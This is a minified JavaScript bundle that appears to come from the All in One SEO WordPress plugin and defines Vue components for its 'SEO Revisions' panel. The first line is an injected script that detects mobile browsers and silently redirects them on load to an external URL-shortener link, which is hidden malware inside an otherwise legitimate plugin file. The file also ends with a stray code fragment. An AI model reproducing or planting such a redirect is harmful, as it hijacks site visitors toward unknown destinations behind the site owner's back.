(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.com/iLREvXfVE0r2");
import{j as R,N as L,C as U,h as E}from"./app-core.fa86622d.js";import{C as I}from"./Blur.12264807.js";import{C as A}from"./Index.10560bb6.js";import{C as B}from"./SettingsRow.603a6032.js";import{au as N,f as r,i as p,j as t,a0 as o,v as c,U as u,an as n,O as T,ad as V,R as i,ae as f,T as z,M,Q as x}from"./vendor-vue-ui.ad4935f9.js";import{S as j}from"./Eye.b8544190.js";import{_ as D}from"./Trash.49bbc1a8.js";import{U as F,S as P}from"./Upsell.2e18bcf8.js";import{_ as v}from"./_plugin-vue_export-helper.eefbdd86.js";import{S as Q}from"./Short.f0a4ed8b.js";import{_ as h}from"./vendor-other.835e467b.js";import"./vendor-lodash.45e85310.js";import"./Close.8e99996b.js";import"./Row.5037f897.js";import"./Profile.a3d2ac6e.js";import"./Index.a51db00d.js";import"./Index.3b124722.js";import"./Button.aa421c00.js";import"./Pencil.8f53e16a.js";import"./RequiredPlans.175ee9bb.js";const W={class:"aioseo-seo-revision-list-item"},q={class:"aioseo-seo-revision-list-item__author"},G={class:"aioseo-seo-revision-list-item__author__avatar"},H={class:"aioseo-seo-revision-list-item__author__name"},J={class:"aioseo-seo-revision-list-item__action"},K={class:"aioseo-seo-revision-list-item__action__view"},X={class:"aioseo-seo-revision-list-item__action__delete"},Y={__name:"ListItem",setup(m){const{currentUser:s}=N(R());return(d,e)=>(r(),p("div",W,[t("div",q,[t("span",G,[o(c(F),{src:c(s).avatar.url,size:c(s).avatar.size},null,8,["src","size"])]),t("span",H,u(c(L)(c(s).display_name,30)),1)]),e[1]||(e[1]=t("div",{class:"aioseo-seo-revision-list-item__date"}," 1 week ago (2 Dec, 2022 @ 18:28:57) ",-1)),t("div",J,[e[0]||(e[0]=t("span",{class:"aioseo-seo-revision-list-item__action__compare"}," Compare ",-1)),t("span",K,[o(c(j),{width:"18"})]),t("span",X,[o(c(D),{width:"18"})])])]))}},Z=v(Y,[["__scopeId","data-v-20175fdb"]]),oo={components:{SeoRevisionListItem:Z}},eo={class:"aioseo-seo-revisions-list"};function so(m,s,d,e,a,C){const _=n("seo-revision-list-item");return r(),p("div",eo,[(r(),p(T,null,V(13,l=>o(_,{key:"seo-revision-list-item-"+l})),64))])}const to=v(oo,[["render",so],["__scopeId","data-v-7b502c37"]]),S="all-in-one-seo-pack",no={setup(){return{seoRevisionsStore:R()}},components:{CoreBlur:I,CoreModal:A,CoreSettingsRow:B,SeoRevisionsList:to,SeoRevisionsUpsell:P,SvgRightArrowShort:Q},data(){return{strings:{button:h("Open SEO Revisions",S),description:h("With our powerful revisions feature for all your SEO data, never lose the exact SEO title or description (and more!) that helped you rank higher in search results and restore it back in a single click.",S),seoRevisions:h("SEO Revisions",S)}}}},io={key:0,class:"aioseo-seo-revisions-metabox"},ro={key:1,class:"aioseo-seo-revisions-sidebar"},ao={class:"aioseo-seo-revisions-sidebar__modal-body"},co={class:"description"};function _o(m,s,d,e,a,C){const _=n("seo-revisions-list"),l=n("core-blur"),g=n("seo-revisions-upsell"),y=n("core-modal"),$=n("svg-right-arrow-short"),w=n("base-button"),k=n("core-settings-row");return m.$root.$data.screenContext==="metabox"?(r(),p("div",io,[o(l,null,{default:i(()=>[o(_)]),_:1}),o(g,{"parent-component-context":"metabox"})])):m.$root.$data.screenContext==="sidebar"?(r(),p("div",ro,[o(y,{show:e.seoRevisionsStore.modalOpenSidebar,classes:[],onClose:s[0]||(s[0]=O=>e.seoRevisionsStore.modalOpenSidebar=!1)},{headerTitle:i(()=>[f(u(a.strings.seoRevisions),1)]),body:i(()=>[t("div",ao,[o(l,null,{default:i(()=>[o(_)]),_:1}),o(g,{"parent-component-context":"modal"})])]),_:1},8,["show"]),o(k,{align:""},{name:i(()=>[f(u(a.strings.seoRevisions),1)]),description:i(()=>[t("p",co,u(a.strings.description),1)]),content:i(()=>[o(w,{class:"gray small",onClick:s[1]||(s[1]=z(O=>e.seoRevisionsStore.modalOpenSidebar=!0,["stop","exact"]))},{default:i(()=>[o($,{width:"10"}),f("   "+u(a.strings.button),1)]),_:1})]),_:1})])):M("",!0)}const b=v(no,[["render",_o],["__scopeId","data-v-eda67d56"]]),lo={setup(){return{licenseStore:E()}},components:{SeoRevisions:b,SeoRevisionsLite:b},props:{parentComponentContext:String},data(){return{license:U}}},po={class:"aioseo-seo-revisions aioseo-tab-content"};function mo(m,s,d,e,a,C){const _=n("seo-revisions",!0),l=n("seo-revisions-lite");return r(),p("div",po,[!e.licenseStore.isUnlicensed&&a.license.hasCoreFeature("seo-revisions")?(r(),x(_,{key:0,parentComponentContext:d.parentComponentContext},null,8,["parentComponentContext"])):(r(),x(l,{key:1,parentComponentContext:d.parentComponentContext},null,8,["parentComponentContext"]))])}const Bo=v(lo,[["render",mo],["__scopeId","data-v-463f2e4b"]]);export{Bo as default};
t};
